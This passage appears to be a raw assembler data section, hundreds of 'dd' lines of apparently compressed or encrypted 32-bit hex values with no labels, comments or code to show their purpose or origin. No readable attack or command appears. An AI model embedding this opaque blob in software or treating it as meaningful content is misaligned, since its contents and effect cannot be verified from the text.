		dd 81A7A1E0h, 8A8A2B56h, 2A7CE3E0h, 60E03FE3h, 0DCF03C46h
		dd 6CBF130Dh, 1B7AE5h, 0C1035800h, 91B7AAC5h, 6066FA15h
		dd 2C084BA4h, 0F9C397F0h, 9401F03Dh, 0E33CF8C2h, 324D497Bh
		dd 809F1B2Dh, 702AE6C0h, 0A023CDDBh, 0D25692C5h, 0E1C781FEh
		dd 0EC58470Ah, 0D545A85h, 0EB5BCC3Dh, 0D24B5986h, 0E58AC69Fh
		dd 0FFB03A46h, 55C56D3Eh, 0C752FD39h, 3EFF37B9h, 8BD44A6Dh
		dd 3EFFF37Dh, 1198866Dh, 67D724C1h, 534EDD0Ah, 76F80411h
		dd 0B6D3EFFh, 2B8CFB17h, 823C69BBh, 9CCC4C5h, 507313F7h
		dd 0B2192F35h, 0FAD1EB6Fh, 22C1C864h, 0DED5C33Ch, 0DFBFF6E5h
		dd 0C7D5026Fh, 0A13E3D1Eh, 56682E5Dh, 91C6A8EAh, 0FA6E68A6h
		dd 0D7D67A27h, 74E1CA54h, 2560EF04h, 739E0F39h,	0BA1E865h
		dd 54839FAFh, 0CE193F39h, 299B1523h, 70EE8B4Ah,	0AAAAC5B9h
		dd 0F830668Ch, 38EB245Bh, 1A9A11h, 21233800h, 0F1D78AE5h
		dd 4086DA35h, 0C282B44h, 0D9E37790h, 74E1D0DDh,	0C3DCD8E2h
		dd 126DA99Bh, 60BF7B4Dh, 10CAC6E0h, 0A143EDFBh,	323692C5h
		dd 22C7811Eh, 0B197CD38h, 43A8C45Ah, 1B48A33Fh,	8B9395ABh
		dd 0D1AC4CBFh, 0F56F2AB5h, 2937DAD3h, 8AC6DF34h, 73DBD74Bh
		dd 0CF249485h, 0C396F580h, 99102EFDh, 12725EF7h, 0FE69F173h
		dd 36B8C453h, 4B67420Bh, 0B6709D7h, 6A766742h, 67420BC0h
		dd 0C856A5B5h, 36721EC1h, 2DC2EDC3h, 0B84790DDh, 0D36D1F2Dh
		dd 0ADE0C3EAh, 493AF030h, 0EB54F0ADh, 731D2445h, 636D9C0Fh
		dd 0DDC71FF2h, 0AC5E6AF9h, 0A1C43D7Fh, 6EAD70B9h, 0A8F7D4EAh
		dd 213992B4h, 0CF826985h, 7F9A1420h, 73EFC43Dh,	0F73989BAh
		dd 218C5F61h, 0F5321830h, 0D4708C56h, 92AD1C8Bh, 879C8EE3h
		dd 50FD0B06h, 0E7DA10E3h, 5241EC7Bh, 2D35EB27h,	0C1AEB01Bh
		dd 723DAC54h, 0BD27935Dh, 3847465Fh, 85E21E38h,	615FE5C3h
		dd 0C6F9524Ch, 19853215h, 0E4F0000h, 0BAA1FE3Ah, 6BF10E8Ah
		dd 73E5955h, 0D48AE521h, 14CB36F2h, 31EDD78Bh, 464284D6h
		dd 900C3029h, 0DFDBFD77h, 28C2EE7Dh, 5D92C5A2h,	12710327h
		dd 6CB37A4Ch, 52F9D2F4h, 0C037B9C7h, 0D44A94EBh, 39B7316Bh
		dd 0CBC2FC59h, 5A85EA5Ah, 0C6CC434Eh, 0DD831E8Ah, 0BF0C3628h
		dd 9AA407A3h, 128E9013h, 0EDD38605h, 0F75A2A3Ch, 0DFCC698h
		dd 1847AC1Ch, 1383490Ch, 0A562FC73h, 87D1D337h,	0C3308061h
		dd 0F0DD8894h, 0EE707CA1h, 93E0501Dh, 85DAB944h, 18D56290h
		dd 0C35FABB6h, 395756E8h, 7AFADD94h, 6D28B7ABh,	0B6D1CDEBh
		dd 0C1035BBEh, 8A3854EAh, 59ECC498h, 0C851F82Bh, 0A000018h
		dd 5CBB7751h, 0ACCBC7F9h, 0FD1A96A8h, 49A6627Ah, 86F32F11h
		dd 2E1046D3h, 0FFC995F2h, 4973E403h, 1432324Dh,	1F2DC298h
		dd 92C5A36Dh, 814C64E0h, 470AE1C7h, 6BF31248h, 5BCC3D59h
		dd 4B5986EBh, 8AC6FAEAh, 0A9817D1Dh, 0E20F7FCCh, 56EE6775h
		dd 2A617312h, 82D4BDA6h, 3D3ACFB8h, 6470AFCBh, 0CB0D6C95h
		dd 64F63A8Ah, 2586A6A1h, 0F25DF915h, 26797FE6h,	381F7AD5h
		dd 129BA704h, 0F3C8F93h, 1BC61BFh, 2388AEA6h, 5FB0501Fh
		dd 0E1A8426Eh, 0BDDDCD5Eh, 3F5A8521h, 0BBC72418h, 1CB1DF72h
		dd 5FD373A5h, 9589AF50h, 5A536BC2h, 7D1847DBh, 1772DDFBh
		dd 0D38F7E42h, 9BA9BCB4h, 0C7625511h, 9D5E78F8h, 89BFA2FDh
		dd 72801C22h, 0F0744C5Ah, 0F0034A99h, 0E2000017h, 34534F79h
		dd 84E31F21h, 0D532EED0h, 217EBA92h, 7E8B0739h,	6381EBBh
		dd 0D7F16D8Ah, 0A19BBCDBh, 6C4A0A65h, 3745EAB0h, 92C5A4B5h
		dd 81744CC8h, 590AE1C7h, 4D5B84E9h, 8AD9A48Fh, 54339C82h
		dd 51FE3A1Ch, 0B01B2D32h, 6F517FAEh, 6E6D3A64h,	0AF91C4C3h
		dd 3A640FA1h, 2DDC426Dh, 6AA6CD3Ch, 0B16D4B0Dh,	0BC2B48B8h
		dd 8003290h, 5E005F73h,	9FC864h, 50AF6B5Dh, 8DD03B0Dh
		dd 142A2ECBh, 996C4AF8h
		dd 4497505Ah, 17620Dh, 0D9EB7000h, 0A99FC2DDh, 784E126Dh
		dd 0C4E063BCh, 91ABAFC8h, 0AC29E815h, 0FB1490AAh, 4AA56163h
		dd 98F73315h, 5802FED8h, 0A40BA5B3h, 0FA7E92C5h, 0D21F6FE6h
		dd 0A4D97785h, 0EA748AD9h, 261E7Dh, 39368584h, 2A53E3AEh
		dd 914BE5F3h, 203E6D3Ah, 14CB6757h, 40EF7A95h, 3D2B1D45h
		dd 6D3A39B3h, 0FCD89BC6h, 8927A960h, 0A86D3A39h, 397D0F1Dh
		dd 0E106D3Ah, 87C11C9Fh, 6EEEA472h, 2A46AEB7h, 0CE1DB9C1h
		dd 8AE51483h, 0F31F4AEBh, 860B963Ah, 0B44D6D3Ah, 23C8A2D0h
		dd 597C7768h, 5E000000h, 4F10206Fh, 6C889675h, 0C05FD5E3h
		dd 2C3294EBh, 0C063F1DFh, 0CE9294EBh, 8622263Bh, 6B9ED625h
		dd 0AA600E8Ah, 0F4D773FCh, 0BA2D1104h, 37EBDF66h, 0EF3C0658h
		dd 333F5A53h, 917D97C2h, 555472F2h, 13C0h, 61F00200h, 7E94EBC0h
		dd 6A76E10Eh, 8AC6D56Fh, 18BC78E6h, 85D21F6Fh, 0FDC79BF6h
		dd 0C05D840Ch, 6EF08AC6h, 91D3CE9Dh, 0FB89F564h, 24403CD3h
		dd 7EDCBBC7h, 3A3A4544h, 0E877E01Ch, 3F0452DCh,	0AC3B276Dh
		dd 3F04EE80h, 0EFF636Dh, 745771F3h, 0BC0F3129h,	446A5ED7h
		dd 91EE2A0Ch, 291AF1D7h, 5C4B94D9h, 709CEBA6h, 6D3F57FEh
		dd 0BFA08F93h, 0B857563Dh, 12BCCDACh, 2D316C73h, 0F13921Bh
		dd 0DAFC7493h, 1B70DBF1h, 22DEF7Bh, 3DECD087h, 0FF9A4004h
		dd 59A8615Bh, 0A2FD391Fh, 0D82784A2h, 0BC6CBF99h, 7AF400AFh
		dd 0FEF997Bh, 9D619A13h, 0AD694F09h, 0D7341252h, 8ED91666h
		dd 0B4305F62h, 0EC2836F1h, 8322463h, 0E0C67E81h, 9CA6B40Bh
		dd 0D9AD464Fh, 0E27693D5h, 0DB4440DCh, 45A698BCh, 0ABADF435h
		dd 0BD0D3E8Dh, 181927B0h, 1BFF8177h, 97CE608Ch,	381FFBF7h
		dd 209BA704h, 12CCF3Eh,	0F79779F3h, 0F6120CFBh,	4E473A69h
		dd 0D7504625h, 9E2E478h, 0ADCAB871h, 350B4EABh,	0F11F48D6h
		dd 0FBF7C97Fh, 1BF00C12h, 0F7C927B5h, 15E942EBh, 3232D791h
		dd 0FABB714h, 0D9E37493h, 1F405FF2h, 71B8C625h,	0B516282Eh
		dd 0A8A8E76Ah, 0EC1D3D8Eh, 5CEB8F73h, 0F7C9BE30h, 5E4FD3CBh
		dd 0EE2A1E43h, 17F4C891h, 5CAF89C8h, 0E4CABEB7h, 324D4973h
		dd 83B01B2Dh, 83913E33h, 0D5DAC95Eh, 3F8269F1h,	77CA211Bh
		dd 1D0FDCE0h, 5F4D2418h, 8BCCE2A6h, 5A1A75B1h, 1050AF7Ch
		dd 0C35F69F5h, 0E0A499E8h, 0C6FA5F3Ah, 7EF586E5h, 826611BFh
		dd 1858A766h, 3655C23Eh, 0AFB3183Eh, 0F80F5B7Eh, 0DECDD687h
		dd 1BA275E0h, 5623EA8Dh, 45h, 0E4D88170h, 0AFBD4807h, 94EBC01Dh
		dd 63BD6DFCh, 10EBE522h, 1E58210Eh, 271EF61Ah, 0E80575E6h
		dd 43E207Fh, 204C9BA7h,	94EB1A8Eh, 0A3AE5FC3h, 0C6048C95h
		dd 2DACE38Ah, 8F2723E1h, 0B75C58F4h, 21h, 0E4D881A3h, 89E65607h
		dd 8DAF325Eh, 58C68AC6h, 9DD4B35Ch, 0DF27C88h, 9B876D3Fh
		dd 1B92AC7Fh, 0F002717Fh, 0FAE28A67h, 0CF1C5680h, 0E2543B60h
		dd 0ED5E1B2Bh, 0F907509Dh, 8AC6E55Ch, 1849BCF3h, 9811CA07h
		dd 495C6A66h, 1CB8D459h, 887BF5E3h, 0C7C608Bh, 0F96C78E7h
		dd 8C8FE49Fh, 9E3A0A51h, 43B0004Dh, 0A8876914h,	51D985Bh
		dd 0EE7F8D84h, 61743121h, 31336EF9h, 1DB983D4h,	0E440C7B2h
		dd 0A9FFD30Eh, 0B780090Fh, 3F18DA83h, 38E62719h, 314365DFh
		dd 4B31DB2Fh, 0D0BC9744h, 2000013h, 54B36F59h, 0A4C33F01h
		dd 0F5128EB0h, 415E5A72h, 9EEB2719h, 26183EDBh,	0F7D18DEAh
		dd 417BDC3Bh, 0C2A2A45h, 1725CA90h, 92C5A895h, 0F0546CE8h
		dd 94EBDF7Eh, 3A1F1161h, 7995A506h, 6B7C2EEh, 27B27539h
		dd 3F179719h, 0B574EA6Dh, 0B0FF68F6h, 0F60296A4h, 6D3F8274h
		dd 9B261109h, 0A4AB6250h, 504C70E9h, 6C89C8C7h,	61F9D2F4h
		dd 5158E6C5h, 0D437094Eh, 5BE9CF89h, 4A29718Fh,	4C084390h
		dd 86000013h, 0D837F3D5h, 28474385h, 79961234h,	0C522DEFEh
		dd 26FAB9Dh, 0AA9CC25Fh, 7B4D116Eh, 0C5FF60BFh,	90B6AEC9h
		dd 9BA94614h, 92C5A911h, 71C8E064h, 0B27B4D12h,	933C3181h
		dd 0C6F97485h, 5918778Ah, 1E5860ACh, 274386DAh,	0CC1B07E6h
		dd 7B898AD1h, 6D3FFEF1h, 827E9A84h, 4A0DFE65h, 56F5D672h
		dd 0FE33BDCBh, 0B466D3Fh, 6E9BDBCBh, 0A26B878Fh, 0E8C3E55Fh
		dd 9D410538h, 8948E20Eh, 1D3D6D3Fh, 0FECE95ECh,	0F9642A02h
		dd 4DEAFF8Ah, 0E7260015h, 32ED0A76h, 6FBC80D7h,	89BFA5E0h
		dd 75E17000h, 0DD966D3Fh, 0AE9EC5E9h, 0E4869221h, 996D3F75h
		dd 3D5A0881h, 5C8F526h,	7E470F82h, 0A5062621h, 0A1927995h
		dd 0A5B31C51h, 730D2607h, 0C8BD44Ah, 0A9B67254h, 0E6DA7F1Ah
		dd 4DE676F8h, 96170B67h, 1CEFC98Bh, 4592DF2Fh, 7F833E37h
		dd 9EC95179h, 0F8674103h, 2586C69Dh, 0D12E9415h, 0E95AB197h
		dd 7C0B5499h, 9C0BDE50h, 7EAFB379h, 2FD4C5D3h, 67FB67B1h
		dd 0B1331FDDh, 74DF0C5Ch, 122Bh, 1490B4A9h, 0A46064FBh
		dd 0F733154Bh, 3FFD998h, 4C4872E4h, 7DE57E21h, 2A304F4Bh
		dd 0DE839C18h, 97D12EEAh, 88A775B1h, 0C5AAF27Ch, 0A9818792h
		dd 0EBC075F0h, 0E9D38494h, 0A7CC3C2Dh, 0A5312C38h, 0DA448AD9h
		dd 744A0E8Dh, 6EF0AFB8h, 65D75967h, 0B4AA6D3Ah,	7EAFB318h
		dd 0D56DF958h, 35117D16h, 0BD000001h, 0CD0256Fh, 784E1271h
		dd 0E7729EB1h, 0A394EBC0h, 9FAD38A7h, 94EBC0EDh, 0A6A1FE60h
		dd 94152586h, 676971F6h, 246F709Fh, 540303D7h, 78DC2139h
		dd 0B9C12A46h, 236F4A70h, 322102D6h, 16CC3847h,	0EC1DA904h
		dd 0D57DF9EEh, 37017C96h, 0CD000000h, 3D7246Fh,	54D6E271h
		dd 4594EBC0h, 0EBC0B537h, 6556C894h, 0F1D34F5h,	94EBC062h
		dd 0E66D3261h, 66DDBDD7h, 865AC4A7h, 0DB816971h, 8B4FF1E5h
		dd 3175h, 246F6D00h, 637103D7h,	94EBC0D6h, 0D75B46D5h
		dd 0A33A9749h, 11630DDBh, 81694EBh, 4F13CF81h, 0DB816971h
		dd 1271F1E5h, 8E907B4Dh, 129BADB1h, 7DF905C1h, 17C96D5h
		dd 3Fh,	4D1271CDh, 3581B27Bh, 63712438h, 94EBC0D6h, 71BDA1B9h
		dd 263857E2h, 0C0B8321Ch, 4DCD94EBh, 0DA813E5Ch, 0C021CBD9h
		dd 0CA5494EBh, 0F37221AEh, 96BCD12Ch, 4F464445h, 27758Bh
		dd 6F6D0000h, 7102D623h, 0EBC0D663h, 0A0B49494h, 74521271h
		dd 81849AB5h, 1E7DEADAh, 0A480C326h, 4C9F3B47h,	4FDFFB32h
		dd 0FECB758Bh, 0BBE6FFFFh, 0A038F652h, 0CECC3DCEh, 85D21F6Fh
		dd 0D9A4D977h, 7DEA748Ah, 94B0B3EEh, 9FE22B37h,	0A59850A5h
		dd 0AB9B12B6h, 919E103Ch, 6FF36D3Ah, 0B21984D3h, 731C98AFh
		dd 0A8426EF9h, 0DD6D3AE9h, 89964CBDh, 9A71570Ah, 0A5140584h
		dd 79F3014Eh, 0C6D3AE9h, 1FBB8DD1h, 0E6F281CCh,	6D3AE944h
		dd 0AAB62139h, 6D3AE900h, 0AC24E575h, 6D3AE900h, 0B3DFA352h
		dd 776806B7h, 486Fh, 0E2716B00h, 0EBC054D6h, 0F8312994h
		dd 0EBC04AD8h, 9FB9BB94h, 5B69F463h, 94EBC0D1h,	0DDE379A4h
		dd 0D5D4700Eh, 0EBC02EBBh, 0E96E2D94h, 0A36AF4D7h, 0C3FE42B2h
		dd 146A9924h, 0DCE87793h, 8AC67E7Dh, 81920E10h,	0EEh, 0D21F6F71h
		dd 0E48E7785h, 3ECD8AC6h, 3F249812h, 325EED6Dh,	6D3F24B8h
		dd 0F8314DCDh, 0DFBA2535h, 0E906957Ah, 0B566C8C4h, 90D3CE19h
		dd 0ECF857B4h, 6D3F9D42h, 1E8F2B37h, 85D8B7A0h,	3E8DA80h
		dd 0D284E37Fh, 79DE21E8h, 5AE96447h, 3F9DBC4Eh,	4049D16Dh
		dd 24C15FAFh, 7506FEC2h, 0C16CFB17h, 0A8842632h, 61F96D3Fh
		dd 0CCB228A8h, 90CF730Dh
		dd 678FF8CAh, 377627CDh, 4944932Fh, 97F02C10h, 202DFEC2h
		dd 5934A3D0h, 41F0391Fh, 7FE6C233h, 3A46E579h, 799C38B0h
		dd 0AE3955C5h, 0EBCD8403h, 0A7A1BD00h, 6F9E3A44h, 0AFB55010h
		dd 66817D99h, 0C4BAC8EEh, 9F5685E9h, 0F1D054Ch,	0A6B70000h
		dd 520966A2h, 359B672h,	0AFA6C13Dh, 6CF20D89h, 6C535E5Ah
		dd 59556FF3h, 0EE2A1C3Eh, 38F4C891h, 474365DFh,	0C06A7695h
		dd 0B592C5ADh, 0C7819BBFh, 0BDB70AE1h, 0C0129CA8h, 0FB6794EBh
		dd 2E3D8C5Fh, 7B195B63h, 0E14E3EA5h, 282E2D54h,	1730F91Bh
		dd 20C57F33h, 59A40721h, 4DED3E1Eh, 0E199531h, 10FBCD93h
		dd 6EF89F0Eh, 167D979Fh, 44h, 0D21F6FB0h, 0D5CE7785h, 0F9618AC6h
		dd 192B336Eh, 0AE7DACB2h, 0FB371153h, 1428316Ch, 0E28C98B7h
		dd 976D3F35h, 63BE6F8Bh, 77E4C7E1h, 6F7DEA07h, 731211A6h
		dd 8B0651C9h, 0C71AF1D3h, 0C05EAD97h, 25B965A4h, 54D6E271h
		dd 2994EBC0h, 3E005631h, 455C4DEDh, 0E2A12E1Eh,	9F434A7Ch
		dd 0EBDD80h, 0EBC02BCCh, 1C573294h, 0A9AEF138h,	0AFBD4897h
		dd 94EBC01Dh, 433FEE70h, 0A1B67ACAh, 0C8D4039Fh, 8AD9A598h
		dd 0CEF066B5h, 0F26625B2h, 29D4691Fh, 0F7FA3F68h, 0A1196679h
		dd 22DE7A49h, 109AA635h, 656D3AFBh, 0F99634F5h,	7D16D56Dh
		dd 532F3C6Bh, 0BE480D25h, 13FBA4Fh, 6F240000h, 710CD025h
		dd 4B273102h, 6CF38143h, 85933C58h, 94EB78EBh, 609809Eh
		dd 0EB786FFAh, 0F01C2B94h, 94EB787Eh, 4836DC13h, 2FE046CCh
		dd 71637793h, 0F8F8B7E2h, 0BFB11EB6h, 1271484Eh, 89B27B4Dh
		dd 246F8EB1h, 0DF0303D7h, 2D6236Fh, 7DF9B921h, 7B7C96D5h
		dd 0C02EC0ECh, 3F2397EBh, 4D39CEh, 6FA50000h, 7103D724h
		dd 0C054D6E2h, 22994EBh, 0EBC074F6h, 0F5110994h, 620F1D34h
		dd 6194EBC0h, 0C024C6D2h, 125994EBh, 0C49C29DEh, 0FC2D49DBh
		dd 713D2139h, 0E5DB8169h, 85004FF1h, 21CEFD9h, 33750F8Bh
		dd 0E6000000h, 3E8DB7ABh, 6FEDE920h, 7103D724h,	0EBC0D663h
		dd 0A0B6D594h, 0A22D4D9Eh, 0EBC01496h, 38F16994h, 71E4F858h
		dd 97745212h, 0EB0F028Bh, 0F1E5DB81h, 7DF98B4Fh, 17C96D5h
		dd 39h,	0D6236FCDh, 0D6637102h,	0D594EBC0h, 0B7369DA6h
		dd 0C9C0175Bh, 7120342Ah, 0A74957E2h, 4694EBC0h, 4FD3280Eh
		dd 0DA81385Eh, 8B4FF6EAh, 75531271h, 0A018896h,	1Bh, 0D6236FECh
		dd 0D6637102h, 9494EBC0h, 0E271A0B4h, 1C8DB7A7h, 0EADA817Eh
		dd 758B4FF6h, 0FFFFFEAFh, 0E11F6F6Dh, 0EBC059D3h, 96322C94h
		dd 0A49D3B49h, 0D1DC8AD9h, 0C1310519h, 0E32AEEh, 88D2B11Eh
		dd 0DCCD6DBEh, 0A8FBA635h, 0FEC09672h, 28220D2Dh, 5A66F19Bh
		dd 6D3AEAD0h, 2D74B5A5h, 86910D2Bh, 325E570Bh, 6D3AEAB8h
		dd 0F8314DCDh, 6CFBF847h, 3AEAAE40h, 6CBFA36Dh,	3AEACC60h
		dd 25A1D6Dh, 390F52A9h,	473B22D2h, 1C57CA0h, 680799D5h
		dd 7583777h, 0E248E20Eh, 1D3D6D3Ah, 17730881h, 5F000000h
		dd 0EBC062F0h, 0F7D19394h, 0C5283Bh, 6850000h, 0FC82694Fh
		dd 1F6F890Dh, 6A7785D2h, 698AC6DFh, 0B516302Ah,	0B2CEF066h
		dd 3A75B87Bh, 7D73F8AAh, 0A2E16E8Ah, 2F0948BDh,	0EA2642DCh
		dd 1BF0D48Dh, 4A95DA2Ah, 0DE4B43Eh, 1641D973h, 441E7E6Bh
		dd 9DE2004Ch, 586BA757h, 0DA75B4D0h, 6AA69ABFh,	0B1B3540Dh
		dd 681698A4h, 0F76B674Eh, 4EE00C5Bh, 3674E68h, 3B28831Fh
		dd 2B39A6CBh, 797C03FAh, 0C7C20D0Dh, 0CDF7688Dh, 0AB4553FEh
		dd 0DE799C94h, 0C882440h, 2D5771F3h, 56868D43h,	8C70DB08h
		dd 4600000Bh, 98F73315h, 0E80783C5h, 39565274h,	85E21E3Eh
		dd 0C22FEBDDh, 0EADC821Fh, 0BB8DD12Eh, 53F207Fh, 0D0F66E89h
		dd 0DBE906D4h, 92C5B051h, 81082024h, 0B70AE1C7h, 414C9BBDh
		dd 276CA4CEh, 0C9F0E6Eh, 0EEC4B8BDh, 43545076h,	7D977327h
		dd 0C2ECF6A5h, 0CCC15C6h, 90192B33h, 4E1Bh, 1F6FC700h
		dd 510685D2h, 0B829C6Fh, 0F141F804h, 21C8AC6h, 6CE7A2A9h
		dd 5468EF48h, 0DF22EB77h, 0E8DA8065h, 27E37F03h, 21AE88C8h
		dd 11E48692h, 81996D3Fh, 78C87508h, 0CBF37DA8h,	0B493C9AAh
		dd 2D4D9EA0h, 2F3A4691h, 46731227h, 81B8DCD8h, 212EEADAh
		dd 0E1CAFC62h, 85205059h, 5494EBC0h, 4CFD3903h,	0DD68F7FCh
		dd 0EBC03DCFh, 0DFCE5094h, 6FE6A530h, 15304049h, 388AD9A5h
		dd 86DAB926h, 0F9504440h, 7D16D56Dh, 18D11h, 256FBD00h
		dd 490887D0h, 0C0BE305Ch, 4FD394EBh, 3F015433h,	3F5B52ECh
		dd 0C0D66371h, 0B49494EBh, 0D6E271A0h, 94EBC054h, 9AA63129h
		dd 94EBC010h, 1D34F565h, 709F6705h, 3D7246Fh, 3A1E0271h
		dd 447AD97Ch, 6F1AB845h, 4A56E523h, 94EBC0A0h, 119B45D5h
		dd 0F894EBC0h, 0F38F5C66h, 0E6FA1608h, 0AB4E1271h, 9D2F451Fh
		dd 0E1CA66A8h, 0E9F15059h, 96D57DF9h, 241C7B7Ch, 4FFE8B02h
		dd 0D8000000h, 3D7246Fh, 0B3A7E271h, 0ED1C2289h, 0EBC056E3h
		dd 0F3265594h, 34067934h, 2B37F637h, 53127137h,	1889675h
		dd 0DB81E80Eh, 0C1EF7AE5h, 94EBC02Fh, 51AA9CBEh, 0C05CEEFAh
		dd 293194EBh, 4F7E1C8Dh, 49758Bh, 0ABE60000h, 213992B6h
		dd 246FE2E8h, 27103D7h,	46D6D4Fh, 759C0D64h, 0A0CC5BE6h
		dd 94EB5F0Eh, 7FF1DF43h, 1294EB5Fh, 66F39D0Ch, 2494EB5Fh
		dd 12713024h, 9DA3B653h, 0AB94304Eh, 0D25B690Bh, 0EF62AB60h
		dd 0E5DB81CBh, 0F98B4FF1h, 7C96D57Dh, 1C01h, 236FCD00h
		dd 637102D6h, 94EBC0D6h, 71BDA1B9h, 0EADA8169h,	758B4FF6h
		dd 47h,	15236F6Dh, 8C92794Fh, 63716C70h, 94EBC0D6h, 7C2BB494h
		dd 0ED806FC2h, 3551582Fh, 0BD481271h, 0A407A3A5h, 0DAFC139Ah
		dd 794F1271h, 21D8C92h,	96B0AA5Fh, 5274E635h, 0BE4D9A36h
		dd 0EBC01892h, 3CED6D94h, 718B4F9Eh, 0C054D6E2h, 0B3B594EBh
		dd 0F1382695h, 0FFFE6A5Ah, 1F6F3CFFh, 540685D2h, 8894BB72h
		dd 8AD9A4CAh, 118CDB47h, 0ABE67157h, 0F33E8DB7h, 3CE38623h
		dd 7CADC9D8h, 3B388786h, 5B6DF1ACh, 0D691EE70h,	840515F6h
		dd 0CDCD7F8Dh, 41EC6D3Ah, 3ACDB933h, 5B52CC6Dh,	676546D8h
		dd 6D3ACDC7h, 4E138E99h, 89917Ah, 7BF723E7h, 237767EAh
		dd 22h,	0C062F0AFh, 0D19394EBh,	352D68F7h, 3B249A13h, 96C1FB5Ch
		dd 0EBC0E08Ah, 4859594h, 0C209h, 1F6FE900h, 0E7785D2h
		dd 218AC6D6h, 6EF3AE39h, 18415E5Ah, 2CBB24h, 6D3F366Eh
		dd 0A385BCE3h, 46F78607h, 236EF9F6h, 34322034h,	35DCCDD4h
		dd 0D4DB927h, 84DDB873h, 0D6D76B40h, 0F19CCB57h, 10FBCD92h
		dd 1636310Eh, 1D64A5B5h, 9B840044h, 4D4EE00Ch, 1F03674Dh
		dd 0FACE93EEh, 9FD42411h, 26F12430h, 0A14797Fh,	6386BEDDh
		dd 6D5707E0h, 0F07A86D1h, 857993F9h, 0A3EE7995h, 45D0899Ah
		dd 65D9D07Ah, 0C66C4A0Ah, 56856C34h, 45DF427h, 0CE000008h
		dd 207FBB8Dh, 708F0B3Dh, 0C1DEDAECh, 0D6AA686h,	4AB77355h
		dd 72540A97h, 0C30559B6h, 8DB7A8C7h, 587EF611h,	4351FE5Ch
		dd 92C5B4A9h, 718058DCh, 41C50302h, 0B07975E8h,	0FAD1F771h
		dd 0DD383857h, 0E4254187h, 193EDB9Dh, 4D660814h, 71B94EBh
		dd 0E27E00EBh, 99AFB209h, 5074EF32h, 0B094897Bh, 15E95239h
		dd 66F1D791h, 0D5326D3Bh, 0C8C18F38h, 7CE9851Ah, 369D7D97h
		dd 39000000h, 85D21F6Fh, 0C6D83677h, 0FAD1498Ah, 3F3848D6h
		dd 9CA0B96Dh, 5771F04Fh, 0A2669F74h
		dd 562ACBCFh, 6BD23E28h, 0E3F19C77h, 6D3F3449h,	1EEB223Ch
		dd 53h,	111F6FB8h, 9EA0B449h, 0A6912D4Dh, 0F6280122h, 0D4039FACh
		dd 31174A49h, 4B4544DAh, 8AC6BCA6h, 7B1641D9h, 720CDFF9h
		dd 0D395E8BBh, 66DE39F5h, 812BC993h, 0FF1BC0B2h, 61CF3F2Ch
		dd 3FA8C4F8h, 13EA6411h, 48978B73h, 0F21DAFBDh,	0EE706741h
		dd 4E5F433Fh, 87EC5CAFh, 8D894C58h, 0A2BC8AC6h,	248BF665h
		dd 0D75242E3h, 81C6CAC3h, 0CEACC59Bh, 7C3DA27Eh, 314ECC07h
		dd 0B4F4A95h, 4B59F831h, 0B39BA39Ah, 0F35EADADh, 11FADC94h
		dd 1F6F8009h, 0EAF685D2h, 0A7D9AB40h, 6DE42535h, 0F4EF8E5Fh
		dd 4E9981B9h, 0FB371153h, 7082A49Ch, 16F6B2ACh,	9CB1984Bh
		dd 36000006h, 88E72325h, 0D837F3D5h, 29464284h,	75920E2Eh
		dd 0D2DFDBEDh, 0DAEC72EFh, 0AB9DC1DEh, 754F106Fh, 0C0E65EB9h
		dd 0EBF916C4h, 92C5B541h, 81183034h, 0B70AE1C7h, 0EA639FA1h
		dd 0FE0A559Ah, 8AD9A470h, 0A3AE7D1Dh, 624973E4h, 4D4393DCh
		dd 4919703h, 0E0E67A85h, 2CAED452h, 0C58C5F4Ah,	63Bh, 480C499h
		dd 545074EBh, 0E723253Bh, 33EFC988h, 7CB882D4h,	8DD54E31h
		dd 3A207FBBh, 0EE738C08h, 87C1DEDAh, 98B765A1h,	0C5B6E28Ch
		dd 0B9919792h, 85D21F6Fh, 0D9A4CD77h, 5D810C8Ah, 64463D9Dh
		dd 0EB7736F7h, 72A7BD00h, 0F374CC96h, 5CE602E2h, 4A2CC7DCh
		dd 0E0C98053h, 0F2000005h, 44A35F69h, 94F32F11h, 0E502FEC0h
		dd 314E4A62h, 6E9B1729h, 16282EABh, 0E7E17D9Ah,	0B18BCC2Bh
		dd 7C5A1A75h, 2735DA80h, 92C5B685h, 6F647CF8h, 685D21Fh
		dd 809E6D53h, 1C7B0609h, 59A40739h, 50EE3D03h, 65DBF534h
		dd 388AD9A4h, 64650715h, 0C5186D3Ah, 0F00CA89Ch, 0AE90C41Bh
		dd 2C3D9E04h, 7BD2014Ah, 577h, 0C8C4005Dh, 1894A8AFh, 0AB6759FFh
		dd 0F733154Ch, 0FCC698h, 0C19902F5h, 76E403FFh,	2237504Ch
		dd 0C385E21Eh, 0DC7329E5h, 0C5B63EB0h, 0FDD55392h, 0AE1C781h
		dd 309BBDB7h, 0C8DEA25Bh, 1572AE88h, 3A967553h,	94EBC0AFh
		dd 0FB9F63DCh, 0B82A49Ch, 5E5A7CF4h, 0B6210741h, 1A694CCBh
		dd 7EAF7B4Eh, 7DE5A0AFh, 53F424Bh, 1666E723h, 0F22CDEEAh
		dd 0EA2194EBh, 0CC3F5925h, 99355109h, 679F224Eh, 68F68AC6h
		dd 8BD1CC83h, 6FC856B5h, 68F6D5EFh, 77812FA1h, 0EC706D3Eh
		dd 0E7034519h, 90A5B904h, 3E77EA84h, 67839F6Dh,	1E3E3984h
		dd 0E48B7FF6h, 113D0130h, 776C9455h, 2E09h, 0DA535E00h
		dd 0FA947057h, 716268A1h, 8F7E4812h, 96C12E9Eh,	0C6EA678Ah
		dd 0AB001E8Ah, 3F2A9725h, 6024DD6Dh, 6BC43832h,	11FEC77h
		dd 71EE0000h, 8643BC02h, 32FB1B62h, 45375EFh, 0C41FE699h
		dd 0AF384125h, 0EBB8EF81h, 0DFC6294h, 53F237Eh,	0EC195BA6h
		dd 8A578179h, 0FCCF6B54h, 581A7A1h, 0E3C57F1Ah,	19B77608h
		dd 94EB5456h, 9D193F39h, 57D9E772h, 2A94EB44h, 0AAD0A4E7h
		dd 42DED73Fh, 1A3C344Bh, 3F3484B1h, 75F70590h, 894EBC3h
		dd 0ED789716h, 0BF7BA5BEh, 0AE99B834h, 526F1DD5h, 666AA32Ch
		dd 8AC6D853h, 67F02C32h, 9F0E2828h, 4F121E6Eh, 0E772DD79h
		dd 0E0A24C58h, 174B6D3Eh, 0D193CE2Dh, 0EE0A14F7h, 0E0D95361h
		dd 0B2AC6D3Eh, 20A3557Bh, 1FAA730Ch, 4CA07FF1h,	113F1267h
		dd 674CA09Fh, 0D9D06CF2h, 0FC9BC45Ah, 88F7605Ah, 0B51B984Dh
		dd 0F3AF5E14h, 4AF8C294h, 5056B9DAh, 0B493BA69h, 1E000003h
